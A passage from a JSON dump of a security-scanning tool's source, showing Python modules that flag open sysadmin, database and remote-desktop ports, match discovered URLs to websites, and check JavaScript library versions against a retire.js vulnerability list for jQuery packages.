re.findall(r\"(?:(?:https?|ftp):\\/\\/)?[\\w/\\-?=%.]+\\.[\\w/\\-&?=%.]+\", input_ooi.value)\n\n        for url_or_hostname in urls_and_hostname:\n            try:\n                u = URL(raw=url_or_hostname, network=network.reference)\n                yield u\n                http_header_url = HTTPHeaderURL(header=input_ooi.reference, url=u.reference)\n                yield http_header_url\n            # some hostnames get classified as urls by the regex here, they need to be parsed by another bit\n            except ValidationError:\n                name = url_or_hostname if url_or_hostname[0] != \".\" else url_or_hostname[1:]\n                h = Hostname(name=name, network=network.reference)\n                yield h\n                http_header_hostname = HTTPHeaderHostname(header=input_ooi.reference, hostname=h.reference)\n                yield http_header_hostname\n"
  },
  {
    "path": "octopoes/bits/port_classification_ip/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/port_classification_ip/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.network import IPAddress, IPPort\n\nBIT = BitDefinition(\n    id=\"port-classification-ip\",\n    consumes=IPAddress,\n    parameters=[BitParameterDefinition(ooi_type=IPPort, relation_path=\"address\")],\n    module=\"bits.port_classification_ip.port_classification_ip\",\n    config_ooi_relation_path=\"IPAddress.network\",\n)\n"
  },
  {
    "path": "octopoes/bits/port_classification_ip/port_classification_ip.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPPort, Protocol\n\nCOMMON_TCP_PORTS = [\n    25,  # SMTP\n    53,  # DNS\n    80,  # HTTP\n    110,  # POP3\n    143,  # IMAP\n    443,  # HTTPS\n    465,  # SMTPS\n    587,  # SMTP (message submmission)\n    993,  # IMAPS\n    995,  # POP3S\n]\n\nCOMMON_UDP_PORTS = [\n    53  # DNS\n]\n\nSA_TCP_PORTS = [\n    21,  # FTP\n    22,  # SSH\n    23,  # Telnet\n    5900,  # VNC\n]\nDB_TCP_PORTS = [\n    1433,  # MS SQL Server\n    1434,  # MS SQL Server\n    3050,  # Interbase/Firebase\n    3306,  # MySQL\n    5432,  # PostgreSQL\n]\nMICROSOFT_RDP_PORTS = [\n    3389  # Microsoft Remote Desktop\n]\n\n\ndef get_ports_from_config(config, config_key, default):\n    ports = config.get(config_key, None)\n    if ports is None:\n        return default\n    return list(map(int, ports.split(\",\"))) if ports else []\n\n\ndef run(input_ooi: IPPort, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    aggregate_findings = config.get(\"aggregate_findings\", \"False\").lower() == \"true\" if config else False\n    open_ports = []\n\n    common_tcp_ports = get_ports_from_config(config, \"common_tcp_ports\", COMMON_TCP_PORTS)\n    common_udp_ports = get_ports_from_config(config, \"common_udp_ports\", COMMON_UDP_PORTS)\n    sa_tcp_ports = get_ports_from_config(config, \"sa_tcp_ports\", SA_TCP_PORTS)\n    db_tcp_ports = get_ports_from_config(config, \"db_tcp_ports\", DB_TCP_PORTS)\n    microsoft_rdp_ports = get_ports_from_config(config, \"microsoft_rdp_ports\", MICROSOFT_RDP_PORTS)\n\n    for ip_port in additional_oois:\n        port = ip_port.port\n        protocol = ip_port.protocol\n        if protocol == Protocol.TCP and port in sa_tcp_ports:\n            open_sa_port = KATFindingType(id=\"KAT-OPEN-SYSADMIN-PORT\")\n            if aggregate_findings:\n                open_ports.append(ip_port.port)\n            else:\n                yield open_sa_port\n                yield Finding(\n                    finding_type=open_sa_port.reference,\n                    ooi=ip_port.reference,\n                    description=f\"Port {port}/{protocol.value} is a system administrator port and \"\n                    f\"should possibly not be open.\",\n                )\n        elif protocol == Protocol.TCP and port in db_tcp_ports:\n            ft = KATFindingType(id=\"KAT-OPEN-DATABASE-PORT\")\n            if aggregate_findings:\n                open_ports.append(ip_port.port)\n            else:\n                yield ft\n                yield Finding(\n                    finding_type=ft.reference,\n                    ooi=ip_port.reference,\n                    description=f\"Port {port}/{protocol.value} is a database port and should not be open.\",\n                )\n        elif port in microsoft_rdp_ports:\n            open_rdp_port = KATFindingType(id=\"KAT-REMOTE-DESKTOP-PORT\")\n            if aggregate_findings:\n                open_ports.append(ip_port.port)\n            else:\n                yield open_rdp_port\n                yield Finding(\n                    finding_type=open_rdp_port.reference,\n                    ooi=ip_port.reference,\n                    description=f\"Port {port}/{protocol.value} is a Microsoft Remote Desktop port and \"\n                    f\"should possibly not be open.\",\n                )\n        elif (protocol == Protocol.TCP and port not in common_tcp_ports) or (\n            protocol == Protocol.UDP and port not in common_udp_ports\n        ):\n            kat = KATFindingType(id=\"KAT-UNCOMMON-OPEN-PORT\")\n            if aggregate_findings:\n                open_ports.append(ip_port.port)\n            else:\n                yield kat\n                yield Finding(\n                    finding_type=kat.reference,\n                    ooi=ip_port.reference,\n                    description=f\"Port {port}/{protocol.value} is not a common port and should possibly not be open.\",\n                )\n    if aggregate_findings and open_ports:\n        ft = KATFindingType(id=\"KAT-UNCOMMON-OPEN-PORT\")\n        yield ft\n        yield Finding(\n            finding_type=ft.reference,\n            ooi=input_ooi.reference,\n            description=f\"Ports {', '.join([str(port) for port in open_ports])} are not common ports and should \"\n            f\"possibly not be open.\",\n        )\n"
  },
  {
    "path": "octopoes/bits/port_common/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/port_common/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.network import IPPort\n\nBIT = BitDefinition(\n    id=\"port-common\", consumes=IPPort, parameters=[], module=\"bits.port_common.port_common\", default_enabled=False\n)\n"
  },
  {
    "path": "octopoes/bits/port_common/port_common.py",
    "content": "from collections.abc import Iterator\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPPort, Protocol\n\nCOMMON_TCP_PORTS = [\n    25,  # SMTP\n    53,  # DNS\n    80,  # HTTP\n    110,  # POP3\n    143,  # IMAP\n    443,  # HTTPS\n    465,  # SMTPS\n    587,  # SMTP (message submmission)\n    993,  # IMAPS\n    995,  # POP3S\n]\n\nCOMMON_UDP_PORTS = [\n    53  # DNS\n]\n\n\ndef run(input_ooi: IPPort, additional_oois: list, config: dict) -> Iterator[OOI]:\n    port = input_ooi.port\n    protocol = input_ooi.protocol\n    if (protocol == Protocol.TCP and port in COMMON_TCP_PORTS) or (\n        protocol == Protocol.UDP and port in COMMON_UDP_PORTS\n    ):\n        kat = KATFindingType(id=\"KAT-OPEN-COMMON-PORT\")\n        yield kat\n        yield Finding(\n            finding_type=kat.reference,\n            ooi=input_ooi.reference,\n            description=f\"Port {port}/{protocol.value} is a common port and found to be open.\",\n        )\n"
  },
  {
    "path": "octopoes/bits/resource_discovery/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/resource_discovery/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.web import HostnameHTTPURL, Website\n\nBIT = BitDefinition(\n    id=\"resource-discovery\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=HostnameHTTPURL, relation_path=\"netloc\"),\n        BitParameterDefinition(ooi_type=Website, relation_path=\"hostname\"),\n    ],\n    module=\"bits.resource_discovery.resource_discovery\",\n    min_scan_level=0,\n)\n"
  },
  {
    "path": "octopoes/bits/resource_discovery/resource_discovery.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.web import HostnameHTTPURL, HTTPResource, Website\n\n\ndef run(hostname: Hostname, additional_oois: list[HostnameHTTPURL | Website], config: dict[str, Any]) -> Iterator[OOI]:\n    hostname_http_urls = [\n        hostname_http_url for hostname_http_url in additional_oois if isinstance(hostname_http_url, HostnameHTTPURL)\n    ]\n    websites = [website for website in additional_oois if isinstance(website, Website)]\n\n    # HTTPResource is cartesian product of HostnameHTTPURL and Websites\n    for hostname_http_url in hostname_http_urls:\n        for website in websites:\n            # only create resource if ports are the same and schemes are the same\n            if (\n                int(website.ip_service.tokenized.ip_port.port) == hostname_http_url.port\n                and website.ip_service.tokenized.service.name == hostname_http_url.scheme.value\n            ):\n                yield HTTPResource(website=website.reference, web_url=hostname_http_url.reference)\n"
  },
  {
    "path": "octopoes/bits/retire_js/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/retire_js/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\nBIT = BitDefinition(\n    id=\"retire-js\",\n    consumes=Software,\n    parameters=[BitParameterDefinition(ooi_type=SoftwareInstance, relation_path=\"software\")],\n    module=\"bits.retire_js.retire_js\",\n)\n"
  },
  {
    "path": "octopoes/bits/retire_js/retire_js.py",
    "content": "import hashlib\nimport json\nfrom collections.abc import Iterator\nfrom pathlib import Path\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding, RetireJSFindingType\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom packaging.version import parse\n\n\ndef run(input_ooi: Software, additional_oois: list[SoftwareInstance], config: dict[str, Any]) -> Iterator[OOI]:\n    software_name = input_ooi.name\n    software_version = input_ooi.version if input_ooi.version else \"999.9.9\"\n\n    filename_path = Path(__file__).parent / \"retirejs.json\"\n    with filename_path.open(encoding=\"utf-8\") as json_file:\n        known_vulnerabilities = json.load(json_file)\n\n    vulnerabilities = _check_vulnerabilities(software_name, software_version, known_vulnerabilities)\n    for vulnerability in vulnerabilities[\"CVE\"]:\n        for instance in additional_oois:\n            ft = CVEFindingType(id=vulnerability)\n            yield ft\n            yield Finding(\n                finding_type=ft.reference,\n                ooi=instance.reference,\n                description=\"This JavaScript Library has known vulnerabilities\",\n            )\n\n    for vulnerability in vulnerabilities[\"RetireJS\"]:\n        for instance in additional_oois:\n            ft = RetireJSFindingType(id=vulnerability)\n            yield ft\n            yield Finding(\n                finding_type=ft.reference,\n                ooi=instance.reference,\n                description=\"This JavaScript Library has known vulnerabilities\",\n            )\n\n\ndef _check_vulnerabilities(name: str, package_version: str, known_vulnerabilities: dict) -> dict[str, list[str]]:\n    vulnerabilities: dict[str, list[str]] = {\"CVE\": [], \"RetireJS\": []}\n    processed_name = _process_name(name)\n    found_brands = [brand for brand in known_vulnerabilities if processed_name == _process_name(brand)]\n\n    if found_brands:\n        brand = found_brands[0]\n        for known_vulnerability in known_vulnerabilities[brand][\"vulnerabilities\"]:\n            if _check_versions(package_version, known_vulnerability):\n                identifiers = known_vulnerability[\"identifiers\"]\n                if \"CVE\" in identifiers:\n                    vulnerabilities[\"CVE\"].append(identifiers[\"CVE\"][0])\n                else:\n                    vulnerabilities[\"RetireJS\"].append(f\"RetireJS-{processed_name}-{_hash_identifiers(identifiers)}\")\n\n    return vulnerabilities\n\n\ndef _process_name(name: str) -> str:\n    return name.lower().replace(\" \", \"\").replace(\"_\", \"\").replace(\"-\", \"\").replace(\".\", \"\")\n\n\ndef _hash_identifiers(identifiers: dict[str, str | list[str]]) -> str:\n    pre_hash = \"\"\n    for identifier in identifiers.values():\n        pre_hash += \"\".join(identifier)\n    return hashlib.sha1(pre_hash.encode()).hexdigest()[:4]\n\n\ndef _check_versions(package_version: str, known_vulnerability: dict) -> bool:\n    below = parse(package_version) < parse(known_vulnerability[\"below\"])\n    # Some packages are only vulnerable below a version and not above\n    above = (\n        parse(package_version) >= parse(known_vulnerability[\"atOrAbove\"])\n        if \"atOrAbove\" in known_vulnerability\n        else True\n    )\n    return below and above\n"
  },
  {
    "path": "octopoes/bits/retire_js/retirejs.json",
    "content": "{\n  \"retire-example\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"0.0.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-XXXX-XXXX\"\n          ],\n          \"bug\": \"1234\",\n          \"summary\": \"bug summary\"\n        },\n        \"info\": [\n          \"http://github.com/eoftedal/retire.js/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"retire.VERSION\"\n      ],\n      \"filename\": [\n        \"retire-example-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? Retire-example v(§§version§§)\"\n      ],\n      \"hashes\": {\n        \"07f8b94c8d601a24a1914a1a92bec0e4fafda964\": \"0.0.1\"\n      }\n    }\n  },\n  \"jquery\": {\n    \"bowername\": [\n      \"jQuery\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.6.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2011-4969\"\n          ],\n          \"summary\": \"XSS with location.hash\"\n        },\n        \"info\": [\n          \"https://nvd.nist.gov/vuln/detail/CVE-2011-4969\",\n          \"http://research.insecurelabs.org/jquery/test/\",\n          \"https://bugs.jquery.com/ticket/9521\"\n        ]\n      },\n      {\n        \"below\": \"1.9.0b1\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2012-6708\"\n          ],\n          \"bug\": \"11290\",\n          \"summary\": \"Selector interpreted as HTML\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"http://bugs.jquery.com/ticket/11290\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2012-6708\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.4.0\",\n        \"below\": \"1.12.0\",\n        \"identifiers\": {\n          \"issue\": \"2432\",\n          \"summary\": \"3rd party CORS request may execute\",\n          \"CVE\": [\n            \"CVE-2015-9251\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/jquery/jquery/issues/2432\",\n          \"http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.12.3\",\n        \"below\": \"3.0.0-beta1\",\n        \"identifiers\": {\n          \"issue\": \"2432\",\n          \"summary\": \"3rd party CORS request may execute\",\n          \"CVE\": [\n            \"CVE-2015-9251\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/jquery/jquery/issues/2432\",\n          \"http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.8.0\",\n        \"below\": \"1.12.0\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-9251\"\n          ],\n          \"issue\": \"11974\",\n          \"summary\": \"parseHTML() executes scripts in event handlers\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://bugs.jquery.com/ticket/11974\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.12.2\",\n        \"below\": \"2.2.0\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-9251\"\n          ],\n          \"issue\": \"11974\",\n          \"summary\": \"parseHTML() executes scripts in event handlers\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://bugs.jquery.com/ticket/11974\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.2.2\",\n        \"below\": \"3.0.0\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-9251\"\n          ],\n          \"issue\": \"11974\",\n          \"summary\": \"parseHTML() executes scripts in event handlers\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://bugs.jquery.com/ticket/11974\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2015-9251\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      },\n      {\n        \"below\": \"3.4.0\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2019-11358\"\n          ],\n          \"summary\": \"jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2019-11358\",\n          \"https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b\"\n        ]\n      },\n      {\n        \"below\": \"3.5.0\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-11022\"\n          ],\n          \"summary\": \"Regex in its jQuery.htmlPrefilter sometimes may introduce XSS\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\"\n        ]\n      },\n      {\n        \"below\": \"3.5.0\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2020-11023\"\n          ],\n          \"summary\": \"Regex in its jQuery.htmlPrefilter sometimes may introduce XSS\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"(window.jQuery || window.$ || window.$jq || window.$j).fn.jquery\",\n        \"require('jquery').fn.jquery\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/jquery(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"jquery-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? jQuery v(§§version§§)\",\n        \"\\\\* jQuery JavaScript Library v(§§version§§)\",\n        \"\\\\* jQuery (§§version§§) - New Wave Javascript\",\n        \"// \\\\$Id: jquery.js,v (§§version§§)\",\n        \"/\\\\*! jQuery v(§§version§§)\",\n        \"[^a-z]f=\\\"(§§version§§)\\\",.*[^a-z]jquery:f,\",\n        \"[^a-z]m=\\\"(§§version§§)\\\",.*[^a-z]jquery:m,\",\n        \"[^a-z.]jquery:[ ]?\\\"(§§version§§)\\\"\",\n        \"\\\\$\\\\.documentElement,Q=e.jQuery,Z=e\\\\.\\\\$,ee=\\\\{\\\\},te=\\\\[\\\\],ne=\\\"(§§version§§)\\\"\"\n      ],\n      \"filecontentreplace\": [\n        \"/var [a-z]=[a-z]\\\\.document,([a-z])=\\\"(§§version§§)\\\",([a-z])=.{130,160};\\\\3\\\\.fn=\\\\3\\\\.prototype=\\\\{jquery:\\\\1/$2/\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-migrate\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.2.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"issue\": \"36\",\n          \"release\": \"jQuery Migrate 1.2.0 Released\",\n          \"summary\": \"cross-site-scripting\"\n        },\n        \"info\": [\n          \"http://blog.jquery.com/2013/05/01/jquery-migrate-1-2-0-released/\",\n          \"https://github.com/jquery/jquery-migrate/issues/36\"\n        ]\n      },\n      {\n        \"below\": \"1.2.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"bug\": \"11290\",\n          \"summary\": \"Selector interpreted as HTML\"\n        },\n        \"info\": [\n          \"http://bugs.jquery.com/ticket/11290\",\n          \"http://research.insecurelabs.org/jquery/test/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"filename\": [\n        \"jquery-migrate-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!?(?:\\n \\\\*)? jQuery Migrate(?: -)? v(§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-validation\": {\n    \"bowername\": [\n      \"jquery-validation\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.19.5\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2022-31147\"\n          ],\n          \"summary\": \"ReDoS vulnerability in url and URL2 validation\"\n        },\n        \"info\": [\n          \"https://github.com/jquery-validation/jquery-validation/commit/5bbd80d27fc6b607d2f7f106c89522051a9fb0dd\",\n          \"https://github.com/advisories/GHSA-ffmh-x56j-9rc3\"\n        ]\n      },\n      {\n        \"below\": \"1.19.4\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2021-43306\"\n          ],\n          \"issue\": \"2428\",\n          \"summary\": \"ReDoS vulnerability in URL2 validation\"\n        },\n        \"info\": [\n          \"https://github.com/jquery-validation/jquery-validation/blob/master/changelog.md#1194--2022-05-19\"\n        ]\n      },\n      {\n        \"below\": \"1.19.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2021-21252\"\n          ],\n          \"summary\": \"Regular Expression Denial of Service vulnerability\"\n        },\n        \"info\": [\n          \"https://github.com/jquery-validation/jquery-validation/blob/master/changelog.md#1193--2021-01-09\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.validation.version\"\n      ],\n      \"filename\": [\n        \"jquery.validat(?:ion|e)-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/jquery.validat(ion|e)(\\\\.min)?\\\\.js\",\n        \"/jquery-validation@(§§version§§)/dist/.*\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!?(?:\\n \\\\*)?[\\\\s]*jQuery Validation Plugin -? ?v(§§version§§)\",\n        \"Original file: /npm/jquery-validation@(§§version§§)/dist/jquery.validate.js\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-mobile\": {\n    \"bowername\": [\n      \"jquery-mobile\",\n      \"jquery-mobile-min\",\n      \"jquery-mobile-build\",\n      \"jquery-mobile-dist\",\n      \"jquery-mobile-bower\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.0RC2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"osvdb\": [\n            \"94563\",\n            \"93562\",\n            \"94316\",\n            \"94561\",\n            \"94560\"\n          ]\n        },\n        \"info\": [\n          \"http://osvdb.org/show/osvdb/94563\",\n          \"http://osvdb.org/show/osvdb/94562\",\n          \"http://osvdb.org/show/osvdb/94316\",\n          \"http://osvdb.org/show/osvdb/94561\",\n          \"http://osvdb.org/show/osvdb/94560\"\n        ]\n      },\n      {\n        \"below\": \"1.0.1\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"osvdb\": [\n            \"94317\"\n          ]\n        },\n        \"info\": [\n          \"http://osvdb.org/show/osvdb/94317\"\n        ]\n      },\n      {\n        \"below\": \"1.1.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"issue\": \"4787\",\n          \"release\": \"http://jquerymobile.com/changelog/1.1.2/\",\n          \"summary\": \"location.href cross-site scripting\"\n        },\n        \"info\": [\n          \"http://jquerymobile.com/changelog/1.1.2/\",\n          \"https://github.com/jquery/jquery-mobile/issues/4787\"\n        ]\n      },\n      {\n        \"below\": \"1.2.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"issue\": \"4787\",\n          \"release\": \"http://jquerymobile.com/changelog/1.2.0/\",\n          \"summary\": \"location.href cross-site scripting\"\n        },\n        \"info\": [\n          \"http://jquerymobile.com/changelog/1.2.0/\",\n          \"https://github.com/jquery/jquery-mobile/issues/4787\"\n        ]\n      },\n      {\n        \"below\": \"100.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"blog\": \"sirdarckcat/unpatched-0day-jquery-mobile-xss\",\n          \"summary\": \"open redirect leads to cross site scripting\"\n        },\n        \"info\": [\n          \"http://sirdarckcat.blogspot.no/2017/02/unpatched-0day-jquery-mobile-xss.html\"\n        ]\n      },\n      {\n        \"below\": \"1.3.0\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"gist\": \"jupenur/e5d0c6f9b58aa81860bf74e010cf1685\",\n          \"summary\": \"Endpoint that reflect user input leads to cross site scripting\"\n        },\n        \"info\": [\n          \"https://gist.github.com/jupenur/e5d0c6f9b58aa81860bf74e010cf1685\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.mobile.version\"\n      ],\n      \"filename\": [\n        \"jquery.mobile-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/jquery.mobile(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!?(?:\\n \\\\*)? jQuery Mobile(?: -)? v(§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-ui\": {\n    \"bowername\": [\n      \"jquery-ui\",\n      \"jquery.ui\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.13.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"XSS when refreshing checkboxes if usercontrolled data in labels\",\n          \"issue\": \"2101\",\n          \"CVE\": [\n            \"CVE-2022-31160\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/jquery/jquery-ui/issues/2101\",\n          \"https://github.com/jquery/jquery-ui/commit/8cc5bae1caa1fcf96bf5862c5646c787020ba3f9\",\n          \"https://github.com/advisories/GHSA-h6gj-6jjq-h8g9\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2022-31160\"\n        ]\n      },\n      {\n        \"below\": \"1.13.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2021-41184\"\n          ],\n          \"summary\": \"XSS in the `of` option of the `.position()` util\"\n        },\n        \"info\": [\n          \"https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2021-41184\"\n        ]\n      },\n      {\n        \"below\": \"1.13.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2021-41183\"\n          ],\n          \"bug\": \"15284\",\n          \"summary\": \"XSS Vulnerability on text options of jQuery UI datepicker\"\n        },\n        \"info\": [\n          \"https://bugs.jqueryui.com/ticket/15284\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2021-41183\"\n        ]\n      },\n      {\n        \"below\": \"1.13.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2021-41182\"\n          ],\n          \"summary\": \"XSS in the `altField` option of the Datepicker widget\"\n        },\n        \"info\": [\n          \"https://github.com/jquery/jquery-ui/security/advisories/GHSA-9gj3-hwp5-pmwc\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2021-41182\"\n        ]\n      },\n      {\n        \"below\": \"1.13.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2022-31160\"\n          ],\n          \"summary\": \"XSS when refreshing a checkboxradio with an HTML-like initial text label \"\n        },\n        \"info\": [\n          \"https://github.com/jquery/jquery-ui/security/advisories/GHSA-h6gj-6jjq-h8g9\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2022-31160\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.ui.version\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/jquery-ui(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? jQuery UI - v(§§version§§)\",\n        \"/\\\\*!?[\\n *]+jQuery UI (§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-ui-dialog\": {\n    \"bowername\": [\n      \"jquery-ui\",\n      \"jquery.ui\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"1.8.9\",\n        \"below\": \"1.10.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-5312\"\n          ],\n          \"bug\": \"6016\",\n          \"summary\": \"Title cross-site scripting vulnerability\"\n        },\n        \"info\": [\n          \"http://bugs.jqueryui.com/ticket/6016\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2010-5312\"\n        ]\n      },\n      {\n        \"below\": \"1.12.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2016-7103\"\n          ],\n          \"bug\": \"281\",\n          \"summary\": \"XSS Vulnerability on closeText option\"\n        },\n        \"info\": [\n          \"https://github.com/jquery/api.jqueryui.com/issues/281\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2016-7103\",\n          \"https://snyk.io/vuln/npm:jquery-ui:20160721\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.ui.dialog.version\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? jQuery UI - v(§§version§§)(.*\\n){1,3}.*jquery\\\\.ui\\\\.dialog\\\\.js\",\n        \"/\\\\*!?[\\n *]+jQuery UI (§§version§§)(.*\\n)*.*\\\\.ui\\\\.dialog\",\n        \"/\\\\*!?[\\n *]+jQuery UI Dialog (§§version§§)\",\n        \"/\\\\*!? jQuery UI - v(§§version§§)(.*\\n){1,3}\\\\* Includes: .* dialog\\\\.js\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-ui-autocomplete\": {\n    \"bowername\": [\n      \"jquery-ui\",\n      \"jquery.ui\"\n    ],\n    \"vulnerabilities\": [],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.ui.autocomplete.version\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? jQuery 